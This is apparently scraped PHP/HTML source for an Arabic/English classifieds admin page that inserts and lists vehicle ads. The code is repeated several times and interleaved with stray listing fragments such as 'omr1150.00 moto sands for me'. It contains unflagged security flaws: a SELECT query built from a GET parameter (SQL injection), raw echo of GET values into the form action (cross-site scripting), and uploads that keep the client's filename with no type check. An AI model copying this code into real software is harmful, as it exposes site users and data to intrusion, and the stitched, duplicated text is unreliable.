<h2>Existing Records</h2> <table class="table"> <thead> <tr> <th>ID</th> <th>Images</th> <th>Category</th> <th>Attributes / Delivery Available / Negotiable Price</th> <th>Status</th> <th>Collector</th> </tr> </thead> <tbody> <?php while ($row = $result->fetch_assoc()): ?> <tr> <td><?php echo htmlspecialchars($row['idBathae3i']); ?></td> <td style="max-width:300px;"> <?php $images = explode(',', $row['images']); foreach ($images as $image): ?> <img src="<?php echo htmlspecialchars($image); ?>" alt="Image" style="max-width: 100px; margin-right: 5px;"> <?php endforeach; ?> </td> <td><?php echo htmlspecialchars($row['category']); ?></td> <td><?php /*echo htmlspecialchars($row['attributes']);*/ ?> <?php // Start session if not already started if (session_status() === PHP_SESSION_NONE) { session_start(); } // Decode the JSON-encoded attributes field $attributes = json_decode($row['attributes'], true); ?> <div> <?php $formHtml = $attributes['form_html']; $formData = $attributes['data']; ?> <div class="details-container"> <div class="data-display details-list"> <?php foreach ($formData as $key => $value): ?> <?php // Find the translation for the current key $translation = ''; //foreach ($_SESSION['translations']['category']['vehicles']['cars'] as $category) { foreach ($_SESSION['translations'] as $category) { if (isset($category[$key])) { $translation = $category[$key]; break; }else if (isset($category['vehicles'][$key])) { $translation = $category[$key]; break; } } ?> <li><strong><font color=brown class=_vkey><?php echo htmlspecialchars($translation ?: $key, ENT_QUOTES, 'UTF-8'); ?>:</font></strong> <?php echo htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); ?></li> <?php endforeach; ?> </div> </div> </div> <br /><?php echo $_SESSION['property19']; ?>: <?php echo $row['delivery_available'] ? $_SESSION['yes'] : $_SESSION['no'] ; ?><br /><?php echo $_SESSION['property16']; ?>: <?php echo $row['negotiable_price'] ? $_SESSION['yes'] : $_SESSION['no']; ?></td> <td><?php echo htmlspecialchars($row['status']); ?></td> <td><?php echo htmlspecialchars($row['collector']); ?></td> </tr> <?php endwhile; ?> </tbody> </table> </div> <script> document.querySelector('#images').addEventListener('change', function() { const preview = document.querySelector('#image-preview'); preview.innerHTML = ''; for (const file of this.files) { const reader = new FileReader(); reader.onload = function(e) { const img = document.createElement('img'); img.src = e.target.result; img.alt = 'Image Preview'; preview.appendChild(img); }; reader.readAsDataURL(file); } }); </script> </body> </html>

omr1150.00
moto sands for me

moto sands for me

<?php include_once "settings.php"; // Ensure this file sets up $connessione (database connection) //include 'ar.php'; if(isset($_GET["accessCat"])) $_SESSION["ad"]=$_GET["accessCat"]; //for the cntrol to dsply ads && (HIDE) not to display the cars brands logos $bId = htmlspecialchars($_GET['bId'] ?? $_GET['bId']); // Check if the 'accessCat' GET parameter is set $accessCat = isset($_GET['accessCat']) ? $_GET['accessCat'] : ''; // Define available categories and their fields $categories = $_SESSION['translations']['category']; // Process form submission if ($_SERVER['REQUEST_METHOD'] === 'POST') { $category = $connessione->real_escape_string($_POST['accessCat'] ?? $_GET['accessCat']); $title = $connessione->real_escape_string($_POST['title'] ?? ''); $berid = $connessione->real_escape_string($_POST['berid'] ?? ''); $hetef = $connessione->real_escape_string($_POST['hetef'] ?? ''); $country = $connessione->real_escape_string($_POST['country'] ?? ''); $location_city = $connessione->real_escape_string($_POST['location_city'] ?? ''); $price = $connessione->real_escape_string($_POST['price'] ?? ''); $el3omla = $connessione->real_escape_string($_POST['el3omla'] ?? ''); $description = $connessione->real_escape_string($_POST['description'] ?? ''); $quantity = $connessione->real_escape_string($_POST['quantity'] ?? ''); $yearModel = $connessione->real_escape_string($_POST['yearModel'] ?? $_GET['year']); $views = intval($_POST['views'] ?? 0); //$attributes = $connessione->real_escape_string($_POST['attributes'] ?? ''); // Collect prod attributes data with default values $attributes__ = [ 'brand' => $_GET['brand'] ?? '', 'year' => $yearModel ?? '', 'regional_specifications' => $_POST['property3'] ?? '', 'odometer' => $_POST['property4'] ?? '', 'cylinders' => $_POST['property5'] ?? '', 'transmission' => $_POST['property6'] ?? '', 'keys' => $_POST['property7'] ?? '', 'full_options' => $_POST['property8'] ?? '', 'fuel' => $_POST['property9'] ?? '', 'wheel_drive' => $_POST['property10'] ?? '', 'exterior_color' => $_POST['property11'] ?? '', 'interior_color' => $_POST['property12'] ?? '', 'maintenance_report' => $_POST['property13'] ?? '', 'car_status' => $_POST['property17'] ?? '' ]; // Initialize an array to hold form data $formData = []; $formHtml = isset($_POST['form_html']) ? $_POST['form_html'] : ''; // Check if 'form_html' is set and is an array if (isset($_POST['form_html']) && is_array($_POST['form_html'])) { foreach ($_POST['form_html'] as $key => $value) { // Sanitize each value $formData[$key] = htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); } } else { echo 'Error: form_html is not set or not an array.'; } // Output the sanitized form data foreach ($formData as $key => $value) { echo htmlspecialchars($key) . ': ' . htmlspecialchars($value) . '<br>'; } // Build the JSON object for the attributes field $attributes = [ 'form_html' => $formHtml, 'data' => $formData ]; // Convert the attributes array to a JSON string $attributesJson = json_encode($attributes); // Sanitize the JSON string for safe insertion $attributes = $connessione->real_escape_string($attributesJson); //$attributes = $connessione->real_escape_string(json_encode($attributes)); $delivery_available = isset($_POST['delivery_available']) ? 1 : 0; $negotiable_price = isset($_POST['negotiable_price']) ? 1 : 0; $status = $connessione->real_escape_string($_POST['status'] ?? ''); $collector = $connessione->real_escape_string($_POST['collector'] ?? ''); // Handle file uploads $images = []; if (isset($_FILES['images']) && !empty($_FILES['images']['name'][0])) { $uploadDir = 'uploads/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } foreach ($_FILES['images']['tmp_name'] as $key => $tmp_name) { $fileName = basename($_FILES['images']['name'][$key]); $uploadFile = $uploadDir . $fileName; if (move_uploaded_file($tmp_name, $uploadFile)) { $images[] = $uploadFile; } } } $imagesList = implode(',', $images); try { $sql = mysqli_query($connessione, "INSERT INTO `bathae3i` ( `idBathae3i`, `images`, `category`, `title`, `berid`, `hetef`, `country`, `location_city`, `price`, `el3omla`, `description`, `quantity`, `chronoBathae3`, `views`, `attributes`, `delivery_available`, `negotiable_price`, `status`, `collector` ) VALUES ( NULL, '$imagesList', '$category', '$title', '$berid', '$hetef', '$country', '$location_city', '$price', '$el3omla', '$description', '$quantity', '".time()."', $views, '$attributes', $delivery_available, $negotiable_price, '$status', '$collector' )"); if (!$sql) { die('Error: ' . htmlspecialchars($connessione->error)); } } catch(Exception $e) { echo "Exception: " . $e->getMessage(); } } // Retrieve records from the database $sql = "SELECT * FROM `bathae3i` WHERE idBathae3i = '" . $bId . "'"; $result = $connessione->query($sql); ?> <!DOCTYPE html> <html <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"lang=ar dir=rtl"; else echo"lang=en dir=ltr"; ?>> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Bathae3i Management</title> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css__"> <style> body { <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"lang=ar dir=rtl"; else echo"lang=en dir=ltr"; ?> background-color: #f8f9fa; font-family: Arial, sans-serif; } .container { max-width: 1200px; margin: 20px auto; padding: 20px; background-color: #ffffff; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); border-radius: 8px; } .form-control { display: block; width: 100%; height: calc(1.5em + .75rem + 2px); padding: .375rem .75rem; margin-top: 3px; font-size: 1rem; font-weight: 400; line-height: 1.5; color: #495057; background-color: #fff; background-clip: padding-box; border: 1px solid #ced4da; border-radius: .25rem; transition: border-color .15s ease-in-out, box-shadow .15s ease-in-out; } .btn { display: inline-block; font-weight: 400; color: #212529; text-align: center; vertical-align: middle; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; background-color: transparent; border: 1px solid transparent; padding: .375rem .75rem; font-size: 1rem; line-height: 1.5; border-radius: .25rem; transition: color .15s ease-in-out, background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out; } .btn-primary { color: #fff; background-color: #007bff; border-color: #007bff; } h1 { margin-bottom: 20px; } form { margin-bottom: 30px; } .form-group { margin-bottom: 15px; } .form-control, .form-check-input { border-radius: 4px; } .custom-file-input { display: none; } .custom-file-upload { border: 2px solid #007bff; border-radius: 8px; display: inline-block; padding: 12px 24px; cursor: pointer; background: linear-gradient(135deg, #007bff 0%, #00d2ff 100%); color: #ffffff; text-align: center; font-weight: bold; font-size: 16px; transition: all 0.3s ease; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); position: relative; } .custom-file-upload:hover { background: linear-gradient(135deg, #00d2ff 0%, #007bff 100%); color: #f0f0f0; transform: scale(1.05); } .custom-file-upload:before { content: '???? '; position: absolute; <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"right: 0px;"; else echo"left: 0px;"; ?> top: 40%; transform: translateY(-50%); font-size: 18px; } .custom-file-input { display: none; } .image-preview { display: flex; flex-wrap: wrap; margin-top: 10px; } .image-preview img { max-width: 100px; margin-right: 5px; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); } .image-preview { display: flex; flex-wrap: wrap; margin-top: 10px; border: 2px dashed #007bff; border-radius: 8px; padding: 10px; background-color: #f8f9fa; min-height: 120px; position: relative; overflow: auto; } .image-preview .placeholder { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); color: #007bff; font-size: 18px; font-weight: bold; text-align: center; pointer-events: none; } .image-preview img { max-width: 100px; margin: 5px; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); } table { width: 100%; border-collapse: collapse; } table th, table td { border: 1px solid #dee2e6; padding: 12px; text-align: left; } table th { background-color: #007bff; color: #ffffff; } table td { background-color: #ffffff; } .attributes-list { white-space: pre-wrap; /* Preserve whitespace for line breaks */ } .details-list { list-style-type: none; padding: 0; margin: 0; } .details-list li:nth-child(even) { background-color: #f9f9f9; } .details-list li { padding: 10px; border-bottom: 1px solid #eee; } .details-container { background-color: #fff; border: 1px solid #ddd; padding: 20px; margin-bottom: 20px; font-family: Arial, sans-serif; width: 100%; margin: 0 auto; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); } ._vkey{ <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"margin-left: 40px;"; else echo"margin-right: 40px;"; ?> } </style> </head> <body> <div class="container"> <h1>Insert New Record</h1> <form method="post" action="?accessCat=<?php echo $_GET['accessCat']; ?>&brand=<?php echo $_GET['brand']; ?>&year=<?php echo $_GET['year']; ?>" enctype="multipart/form-data"> <!--div class="form-group"> <label for="category">Category:</label> <input type="text" id="category" name="accessCat" class="form-control" required> </div --> <div class="form-group"> <label for="images" class="custom-file-upload"> <span><?php echo $_SESSION["imageUpload"]; ?></span> </label> <input type="file" id="images" name="images[]" class="custom-file-input" accept="image/*" multiple> <div class="image-preview" id="image-preview"> <div class="placeholder"><?php echo $_SESSION["imagesselected"]; ?></div> </div> </div> <div class="form-group"> <label for="title">Title:</label> <input type="text" id="title" name="title" class="form-control" required> </div> <?php if($_GET["accessCat"]=="cars")include_once"_carsSpecificities.php"; ?> <?php //include_once"_vpcategoriesForms.php"; // Function to generate form fields function generateFormFields($fields) { $formHtml = ''; foreach ($fields as $field => $label) { if (is_array($label)) { // Check if the field has subvalues $formHtml .= '<label for="' . htmlspecialchars($field) . '">' . htmlspecialchars($label['type']) . ':</label>'; $formHtml .= '<select id="' . htmlspecialchars($field) . '" name="' . htmlspecialchars($field) . '" class="form-control">'; foreach ($label as $subValue => $subLabel) { if ($subValue !== 'type') { // Skip the 'type' key $formHtml .= '<option value="' . htmlspecialchars($subValue) . '">' . htmlspecialchars($subLabel) . '</option>'; } } $formHtml .= '</select><br><br>'; } else { $formHtml .= '<label for="' . htmlspecialchars($field) . '">' . htmlspecialchars($label) . ':</label>'; $formHtml .= '<input type="text" id="' . htmlspecialchars($field) . '" class="form-control" name="' . htmlspecialchars($field) . '" placeholder="' . htmlspecialchars($label) . '"><br><br>'; } } return $formHtml; } ?> <?php if ($accessCat): ?> <?php // Split the selected category into category and subcategory list($category, $subcategory) = explode('/', $accessCat); // Check if the selected category and subcategory exist if (isset($categories[$category][$subcategory])) { $fields = $categories[$category][$subcategory]; ?> <h2><?= htmlspecialchars($subcategory) ?></h2> <div method="post" class="_carContainer image-preview"> <?= generateFormFields($fields) ?> <!-- input type="submit" value="إرسال" --> </div> <?php } else { echo '<p class="error-message">الفئة أو التصنيف المحدد غير موجود.</p>'; } ?> <?php endif; ?> <div class="form-group"> <label for="berid">Berid:</label> <input type="text" id="berid" name="berid" class="form-control" required> </div> <div class="form-group"> <label for="hetef">Hetef:</label> <input type="text" id="hetef" name="hetef" class="form-control" required> </div> <div class="form-group"> <label for="country">Country:</label> <input type="text" id="country" name="country" class="form-control" required> </div> <div class="form-group"> <label for="location_city">City:</label> <input type="text" id="location_city" name="location_city" class="form-control" required> </div> <div class="form-group"> <label for="price">Price:</label> <input type="text" id="price" name="price" class="form-control" required> </div> <div class="form-group"> <label for="el3omla">Currency:</label> <input type="text" id="el3omla" name="el3omla" class="form-control" required> </div> <div class="form-group"> <label for="description">Description:</label> <textarea id="description" name="description" class="form-control" rows="4" required></textarea> </div> <div class="form-group"> <label for="quantity">Quantity:</label> <input type="text" id="quantity" name="quantity" class="form-control" required> </div> <div class="form-group"> <label for="yearModel">Year:</label> <input type="text" id="yearModel" name="yearModel" class="form-control" required> </div> <!-- div class="form-group"> <label for="views">Views:</label> <input type="text" id="views" name="views" class="form-control" required> </div --> <!-- div class="form-group"> <label for="attributes">Attributes (JSON):</label> <textarea id="attributes" name="attributes" class="form-control" rows="4" required></textarea> </div --> <div class="form-group form-check"> <input type="checkbox" id="delivery_available" name="delivery_available" class="form-check-input" value="1"> <label for="delivery_available" class="form-check-label"><?php echo $_SESSION['property19']; ?>Delivery Available</label> </div> <div class="form-group form-check"> <input type="checkbox" id="negotiable_price" name="negotiable_price" class="form-check-input" value="1"> <label for="negotiable_price" class="form-check-label"><?php echo $_SESSION['property16']; ?>Negotiable Price</label> </div> <div class="form-group"> <label for="status">Status:</label> <input type="text" id="status" name="status" class="form-control" required> </div> <div class="form-group"> <label for="collector">Collector:</label> <input type="text" id="collector" name="collector" class="form-control" required> </div> <input type="hidden" name="form_html" value="<?php echo htmlspecialchars($formHtml); ?>"> <button type="submit" class="btn btn-primary"><?php echo $_SESSION['goNUploadNsell']; ?></button> </form> <h2>Existing Records</h2> <table class="table"> <thead> <tr> <th>ID</th> <th>Images</th> <th>Category</th> <th>Attributes / Delivery Available / Negotiable Price</th> <th>Status</th> <th>Collector</th> </tr> </thead> <tbody> <?php while ($row = $result->fetch_assoc()): ?> <tr> <td><?php echo htmlspecialchars($row['idBathae3i']); ?></td> <td style="max-width:300px;"> <?php $images = explode(',', $row['images']); foreach ($images as $image): ?> <img src="<?php echo htmlspecialchars($image); ?>" alt="Image" style="max-width: 100px; margin-right: 5px;"> <?php endforeach; ?> </td> <td><?php echo htmlspecialchars($row['category']); ?></td> <td><?php /*echo htmlspecialchars($row['attributes']);*/ ?> <?php // Start session if not already started if (session_status() === PHP_SESSION_NONE) { session_start(); } // Decode the JSON-encoded attributes field $attributes = json_decode($row['attributes'], true); ?> <div> <?php $formHtml = $attributes['form_html']; $formData = $attributes['data']; ?> <div class="details-container"> <div class="data-display details-list"> <?php foreach ($formData as $key => $value): ?> <?php // Find the translation for the current key $translation = ''; //foreach ($_SESSION['translations']['category']['vehicles']['cars'] as $category) { foreach ($_SESSION['translations'] as $category) { if (isset($category[$key])) { $translation = $category[$key]; break; }else if (isset($category['vehicles'][$key])) { $translation = $category[$key]; break; } } ?> <li><strong><font color=brown class=_vkey><?php echo htmlspecialchars($translation ?: $key, ENT_QUOTES, 'UTF-8'); ?>:</font></strong> <?php echo htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); ?></li> <?php endforeach; ?> </div> </div> </div> <br /><?php echo $_SESSION['property19']; ?>: <?php echo $row['delivery_available'] ? $_SESSION['yes'] : $_SESSION['no'] ; ?><br /><?php echo $_SESSION['property16']; ?>: <?php echo $row['negotiable_price'] ? $_SESSION['yes'] : $_SESSION['no']; ?></td> <td><?php echo htmlspecialchars($row['status']); ?></td> <td><?php echo htmlspecialchars($row['collector']); ?></td> </tr> <?php endwhile; ?> </tbody> </table> </div> <script> document.querySelector('#images').addEventListener('change', function() { const preview = document.querySelector('#image-preview'); preview.innerHTML = ''; for (const file of this.files) { const reader = new FileReader(); reader.onload = function(e) { const img = document.createElement('img'); img.src = e.target.result; img.alt = 'Image Preview'; preview.appendChild(img); }; reader.readAsDataURL(file); } }); </script> </body> </html>

omr1450.00

moto to me

<?php include_once "settings.php"; // Ensure this file sets up $connessione (database connection) //include 'ar.php'; if(isset($_GET["accessCat"])) $_SESSION["ad"]=$_GET["accessCat"]; //for the cntrol to dsply ads && (HIDE) not to display the cars brands logos $bId = htmlspecialchars($_GET['bId'] ?? $_GET['bId']); // Check if the 'accessCat' GET parameter is set $accessCat = isset($_GET['accessCat']) ? $_GET['accessCat'] : ''; // Define available categories and their fields $categories = $_SESSION['translations']['category']; // Process form submission if ($_SERVER['REQUEST_METHOD'] === 'POST') { $category = $connessione->real_escape_string($_POST['accessCat'] ?? $_GET['accessCat']); $title = $connessione->real_escape_string($_POST['title'] ?? ''); $berid = $connessione->real_escape_string($_POST['berid'] ?? ''); $hetef = $connessione->real_escape_string($_POST['hetef'] ?? ''); $country = $connessione->real_escape_string($_POST['country'] ?? ''); $location_city = $connessione->real_escape_string($_POST['location_city'] ?? ''); $price = $connessione->real_escape_string($_POST['price'] ?? ''); $el3omla = $connessione->real_escape_string($_POST['el3omla'] ?? ''); $description = $connessione->real_escape_string($_POST['description'] ?? ''); $quantity = $connessione->real_escape_string($_POST['quantity'] ?? ''); $yearModel = $connessione->real_escape_string($_POST['yearModel'] ?? $_GET['year']); $views = intval($_POST['views'] ?? 0); //$attributes = $connessione->real_escape_string($_POST['attributes'] ?? ''); // Collect prod attributes data with default values $attributes__ = [ 'brand' => $_GET['brand'] ?? '', 'year' => $yearModel ?? '', 'regional_specifications' => $_POST['property3'] ?? '', 'odometer' => $_POST['property4'] ?? '', 'cylinders' => $_POST['property5'] ?? '', 'transmission' => $_POST['property6'] ?? '', 'keys' => $_POST['property7'] ?? '', 'full_options' => $_POST['property8'] ?? '', 'fuel' => $_POST['property9'] ?? '', 'wheel_drive' => $_POST['property10'] ?? '', 'exterior_color' => $_POST['property11'] ?? '', 'interior_color' => $_POST['property12'] ?? '', 'maintenance_report' => $_POST['property13'] ?? '', 'car_status' => $_POST['property17'] ?? '' ]; // Initialize an array to hold form data $formData = []; $formHtml = isset($_POST['form_html']) ? $_POST['form_html'] : ''; // Check if 'form_html' is set and is an array if (isset($_POST['form_html']) && is_array($_POST['form_html'])) { foreach ($_POST['form_html'] as $key => $value) { // Sanitize each value $formData[$key] = htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); } } else { echo 'Error: form_html is not set or not an array.'; } // Output the sanitized form data foreach ($formData as $key => $value) { echo htmlspecialchars($key) . ': ' . htmlspecialchars($value) . '<br>'; } // Build the JSON object for the attributes field $attributes = [ 'form_html' => $formHtml, 'data' => $formData ]; // Convert the attributes array to a JSON string $attributesJson = json_encode($attributes); // Sanitize the JSON string for safe insertion $attributes = $connessione->real_escape_string($attributesJson); //$attributes = $connessione->real_escape_string(json_encode($attributes)); $delivery_available = isset($_POST['delivery_available']) ? 1 : 0; $negotiable_price = isset($_POST['negotiable_price']) ? 1 : 0; $status = $connessione->real_escape_string($_POST['status'] ?? ''); $collector = $connessione->real_escape_string($_POST['collector'] ?? ''); // Handle file uploads $images = []; if (isset($_FILES['images']) && !empty($_FILES['images']['name'][0])) { $uploadDir = 'uploads/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } foreach ($_FILES['images']['tmp_name'] as $key => $tmp_name) { $fileName = basename($_FILES['images']['name'][$key]); $uploadFile = $uploadDir . $fileName; if (move_uploaded_file($tmp_name, $uploadFile)) { $images[] = $uploadFile; } } } $imagesList = implode(',', $images); try { $sql = mysqli_query($connessione, "INSERT INTO `bathae3i` ( `idBathae3i`, `images`, `category`, `title`, `berid`, `hetef`, `country`, `location_city`, `price`, `el3omla`, `description`, `quantity`, `chronoBathae3`, `views`, `attributes`, `delivery_available`, `negotiable_price`, `status`, `collector` ) VALUES ( NULL, '$imagesList', '$category', '$title', '$berid', '$hetef', '$country', '$location_city', '$price', '$el3omla', '$description', '$quantity', '".time()."', $views, '$attributes', $delivery_available, $negotiable_price, '$status', '$collector' )"); if (!$sql) { die('Error: ' . htmlspecialchars($connessione->error)); } } catch(Exception $e) { echo "Exception: " . $e->getMessage(); } } // Retrieve records from the database $sql = "SELECT * FROM `bathae3i` WHERE idBathae3i = '" . $bId . "'"; $result = $connessione->query($sql); ?> <!DOCTYPE html> <html <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"lang=ar dir=rtl"; else echo"lang=en dir=ltr"; ?>> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Bathae3i Management</title> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css__"> <style> body { <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"lang=ar dir=rtl"; else echo"lang=en dir=ltr"; ?> background-color: #f8f9fa; font-family: Arial, sans-serif; } .container { max-width: 1200px; margin: 20px auto; padding: 20px; background-color: #ffffff; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); border-radius: 8px; } .form-control { display: block; width: 100%; height: calc(1.5em + .75rem + 2px); padding: .375rem .75rem; margin-top: 3px; font-size: 1rem; font-weight: 400; line-height: 1.5; color: #495057; background-color: #fff; background-clip: padding-box; border: 1px solid #ced4da; border-radius: .25rem; transition: border-color .15s ease-in-out, box-shadow .15s ease-in-out; } .btn { display: inline-block; font-weight: 400; color: #212529; text-align: center; vertical-align: middle; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; background-color: transparent; border: 1px solid transparent; padding: .375rem .75rem; font-size: 1rem; line-height: 1.5; border-radius: .25rem; transition: color .15s ease-in-out, background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out; } .btn-primary { color: #fff; background-color: #007bff; border-color: #007bff; } h1 { margin-bottom: 20px; } form { margin-bottom: 30px; } .form-group { margin-bottom: 15px; } .form-control, .form-check-input { border-radius: 4px; } .custom-file-input { display: none; } .custom-file-upload { border: 2px solid #007bff; border-radius: 8px; display: inline-block; padding: 12px 24px; cursor: pointer; background: linear-gradient(135deg, #007bff 0%, #00d2ff 100%); color: #ffffff; text-align: center; font-weight: bold; font-size: 16px; transition: all 0.3s ease; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); position: relative; } .custom-file-upload:hover { background: linear-gradient(135deg, #00d2ff 0%, #007bff 100%); color: #f0f0f0; transform: scale(1.05); } .custom-file-upload:before { content: '???? '; position: absolute; <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"right: 0px;"; else echo"left: 0px;"; ?> top: 40%; transform: translateY(-50%); font-size: 18px; } .custom-file-input { display: none; } .image-preview { display: flex; flex-wrap: wrap; margin-top: 10px; } .image-preview img { max-width: 100px; margin-right: 5px; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); } .image-preview { display: flex; flex-wrap: wrap; margin-top: 10px; border: 2px dashed #007bff; border-radius: 8px; padding: 10px; background-color: #f8f9fa; min-height: 120px; position: relative; overflow: auto; } .image-preview .placeholder { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); color: #007bff; font-size: 18px; font-weight: bold; text-align: center; pointer-events: none; } .image-preview img { max-width: 100px; margin: 5px; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); } table { width: 100%; border-collapse: collapse; } table th, table td { border: 1px solid #dee2e6; padding: 12px; text-align: left; } table th { background-color: #007bff; color: #ffffff; } table td { background-color: #ffffff; } .attributes-list { white-space: pre-wrap; /* Preserve whitespace for line breaks */ } .details-list { list-style-type: none; padding: 0; margin: 0; } .details-list li:nth-child(even) { background-color: #f9f9f9; } .details-list li { padding: 10px; border-bottom: 1px solid #eee; } .details-container { background-color: #fff; border: 1px solid #ddd; padding: 20px; margin-bottom: 20px; font-family: Arial, sans-serif; width: 100%; margin: 0 auto; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); } ._vkey{ <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"margin-left: 40px;"; else echo"margin-right: 40px;"; ?> } </style> </head> <body> <div class="container"> <h1>Insert New Record</h1> <form method="post" action="?accessCat=<?php echo $_GET['accessCat']; ?>&brand=<?php echo $_GET['brand']; ?>&year=<?php echo $_GET['year']; ?>" enctype="multipart/form-data"> <!--div class="form-group"> <label for="category">Category:</label> <input type="text" id="category" name="accessCat" class="form-control" required> </div --> <div class="form-group"> <label for="images" class="custom-file-upload"> <span><?php echo $_SESSION["imageUpload"]; ?></span> </label> <input type="file" id="images" name="images[]" class="custom-file-input" accept="image/*" multiple> <div class="image-preview" id="image-preview"> <div class="placeholder"><?php echo $_SESSION["imagesselected"]; ?></div> </div> </div> <div class="form-group"> <label for="title">Title:</label> <input type="text" id="title" name="title" class="form-control" required> </div> <?php if($_GET["accessCat"]=="cars")include_once"_carsSpecificities.php"; ?> <?php //include_once"_vpcategoriesForms.php"; // Function to generate form fields function generateFormFields($fields) { $formHtml = ''; foreach ($fields as $field => $label) { if (is_array($label)) { // Check if the field has subvalues $formHtml .= '<label for="' . htmlspecialchars($field) . '">' . htmlspecialchars($label['type']) . ':</label>'; $formHtml .= '<select id="' . htmlspecialchars($field) . '" name="' . htmlspecialchars($field) . '" class="form-control">'; foreach ($label as $subValue => $subLabel) { if ($subValue !== 'type') { // Skip the 'type' key $formHtml .= '<option value="' . htmlspecialchars($subValue) . '">' . htmlspecialchars($subLabel) . '</option>'; } } $formHtml .= '</select><br><br>'; } else { $formHtml .= '<label for="' . htmlspecialchars($field) . '">' . htmlspecialchars($label) . ':</label>'; $formHtml .= '<input type="text" id="' . htmlspecialchars($field) . '" class="form-control" name="' . htmlspecialchars($field) . '" placeholder="' . htmlspecialchars($label) . '"><br><br>'; } } return $formHtml; } ?> <?php if ($accessCat): ?> <?php // Split the selected category into category and subcategory list($category, $subcategory) = explode('/', $accessCat); // Check if the selected category and subcategory exist if (isset($categories[$category][$subcategory])) { $fields = $categories[$category][$subcategory]; ?> <h2><?= htmlspecialchars($subcategory) ?></h2> <div method="post" class="_carContainer image-preview"> <?= generateFormFields($fields) ?> <!-- input type="submit" value="إرسال" --> </div> <?php } else { echo '<p class="error-message">الفئة أو التصنيف المحدد غير موجود.</p>'; } ?> <?php endif; ?> <div class="form-group"> <label for="berid">Berid:</label> <input type="text" id="berid" name="berid" class="form-control" required> </div> <div class="form-group"> <label for="hetef">Hetef:</label> <input type="text" id="hetef" name="hetef" class="form-control" required> </div> <div class="form-group"> <label for="country">Country:</label> <input type="text" id="country" name="country" class="form-control" required> </div> <div class="form-group"> <label for="location_city">City:</label> <input type="text" id="location_city" name="location_city" class="form-control" required> </div> <div class="form-group"> <label for="price">Price:</label> <input type="text" id="price" name="price" class="form-control" required> </div> <div class="form-group"> <label for="el3omla">Currency:</label> <input type="text" id="el3omla" name="el3omla" class="form-control" required> </div> <div class="form-group"> <label for="description">Description:</label> <textarea id="description" name="description" class="form-control" rows="4" required></textarea> </div> <div class="form-group"> <label for="quantity">Quantity:</label> <input type="text" id="quantity" name="quantity" class="form-control" required> </div> <div class="form-group"> <label for="yearModel">Year:</label> <input type="text" id="yearModel" name="yearModel" class="form-control" required> </div> <!-- div class="form-group"> <label for="views">Views:</label> <input type="text" id="views" name="views" class="form-control" required> </div --> <!-- div class="form-group"> <label for="attributes">Attributes (JSON):</label> <textarea id="attributes" name="attributes" class="form-control" rows="4" required></textarea> </div --> <div class="form-group form-check"> <input type="checkbox" id="delivery_available" name="delivery_available" class="form-check-input" value="1"> <label for="delivery_available" class="form-check-label"><?php echo $_SESSION['property19']; ?>Delivery Available</label> </div> <div class="form-group form-check"> <input type="checkbox" id="negotiable_price" name="negotiable_price" class="form-check-input" value="1"> <label for="negotiable_price" class="form-check-label"><?php echo $_SESSION['property16']; ?>Negotiable Price</label> </div> <div class="form-group"> <label for="status">Status:</label> <input type="text" id="status" name="status" class="form-control" required> </div> <div class="form-group"> <label for="collector">Collector:</label> <input type="text" id="collector" name="collector" class="form-control" required> </div> <input type="hidden" name="form_html" value="<?php echo htmlspecialchars($formHtml); ?>"> <button type="submit" class="btn btn-primary"><?php echo $_SESSION['goNUploadNsell']; ?></button> </form> <h2>Existing Records</h2> <table class="table"> <thead> <tr> <th>ID</th> <th>Images</th> <th>Category</th> <th>Attributes / Delivery Available / Negotiable Price</th> <th>Status</th> <th>Collector</th> </tr> </thead> <tbody> <?php while ($row = $result->fetch_assoc()): ?> <tr> <td><?php echo htmlspecialchars($row['idBathae3i']); ?></td> <td style="max-width:300px;"> <?php $images = explode(',', $row['images']); foreach ($images as $image): ?> <img src="<?php echo htmlspecialchars($image); ?>" alt="Image" style="max-width: 100px; margin-right: 5px;"> <?php endforeach; ?> </td> <td><?php echo htmlspecialchars($row['category']); ?></td> <td><?php /*echo htmlspecialchars($row['attributes']);*/ ?> <?php // Start session if not already started if (session_status() === PHP_SESSION_NONE) { session_start(); } // Decode the JSON-encoded attributes field $attributes = json_decode($row['attributes'], true); ?> <div> <?php $formHtml = $attributes['form_html']; $formData = $attributes['data']; ?> <div class="details-container"> <div class="data-display details-list"> <?php foreach ($formData as $key => $value): ?> <?php // Find the translation for the current key $translation = ''; 